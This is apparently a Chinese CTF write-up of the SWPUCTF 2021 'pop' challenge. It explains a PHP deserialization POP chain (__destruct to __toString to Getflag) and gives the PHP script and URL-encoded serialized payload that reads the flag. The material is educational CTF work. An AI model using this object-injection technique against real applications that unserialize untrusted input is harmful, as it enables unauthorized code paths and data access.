题目例子
[SWPUCTF 2021 新生赛]pop
NSSCTF - [SWPUCTF 2021 新生赛]pop (ctfer.vip)
POP链在CTF比赛中,也算是老考点了,在我参加的几场比赛中,POP链都有考察到,太久没做题了,今天在刷靶场的时候,看到这一道题,写下来做个记录,也供各位师傅参考,大佬师傅勿喷~
GOGOGO
打开题目,拿到源码:
```
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
```
拿到题目之后,看到有三个类,分别是w22m,w33m,w44m,新生赛,也没那么多花里胡哨的东西,有点经验的师傅,一眼就可以看出来整个POP链的基础结构,这里会进行细讲,毕竟有部分师傅还没接触过。
拿到源码后,大致看一眼整体后,主要我们最终要将w44m类里面的Getflag调用出来,然后修改admin=w44m和passwd=08067就可以调用include包含flag.php了。
个人观点:拿到源码后,可以先定位利用点,比如这里的利用点是w44m的Getflag,那么就可以往上推,查看哪个类可以调用w44m,一步步往上推。
题解
知道了可以利用的点,我们就可以往上推,把目光先聚集在类w33m,w33m类里面有一个魔术方法__toString()
还有两个属性w00m和w22m
,如果对魔术方法不是很理解的师傅们,可以先学习一下:PHP之十六个魔术方法详解 - SegmentFault 思否
toString主要是在当类被当成字符串使用echo或者print等输出函数输出时,会被调用
源码中,toString触发后,会执行$this->w00m->{$this->w22m}();
这一串代码,针对如何调用w44m的Getflag函数,到这里就有答案了,可以将w00m设为new w44m
去实例化w44m,如何再把w22m设为Getflag
实现调用到这个类函数,但是怎么触发toString又是一个问题,继续往上跟进审计w22m类。
调用w22m类之后,会直接调用魔术方法__destruct
destruct函数是用于当类最后执行的,当类里面的东西执行完成后,就会调用destruct对类输出最后的信息,随即类就销毁
可以看到w22m类里面有一个属性w00m
,然后destruct中使用了echo \$this->w00m
,在上面说到了如果使用了输出函数去输出一个类实例的话,就会调用类里面的toString。
到了这里,整道题目的思路以及很清晰了,先使用w22m的echo函数去输出w33m类,然后w33m的类调用toString里面的\$this->w00m->{\$this->w22m}();
,将w00m赋值为w44m,将w22m赋值为Getflag,再将w44m的admin和passwd赋值为题目给出的数,从而读取flag。
POP链:
w22m(destruct)->w33m(toString)->w44m(Getflag)
构造payload
```
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
/
w22m(destruct)->w33m(tostring)->w44m(Getflag)
/
$w22m = new w22m();
$w33m = new w33m();
$w44m = new w44m();
$w22m->w00m = $w33m;
$w33m->w00m = $w44m;
$w33m->w22m = 'Getflag';
$ser = serialize($w22m);
echo urlencode($ser);
//输出O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
```
注意点
这里有两个点要注意一下,给这两个点绊了一下...
private和protected
private
的意思是私有的,protected
是受保护的,这两个不能再类外部进行赋值,所以只能再类内部进行定义。
%00
由于使用了private
和protected
,所以在序列化的时候,会产生%00,但是%00会直接被忽略掉,所以这里要使用url编码,对整个payload进行编码,避免%00被忽略,引起不必要的失误。
直接将payload传入到url栏中,即可得到flag。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论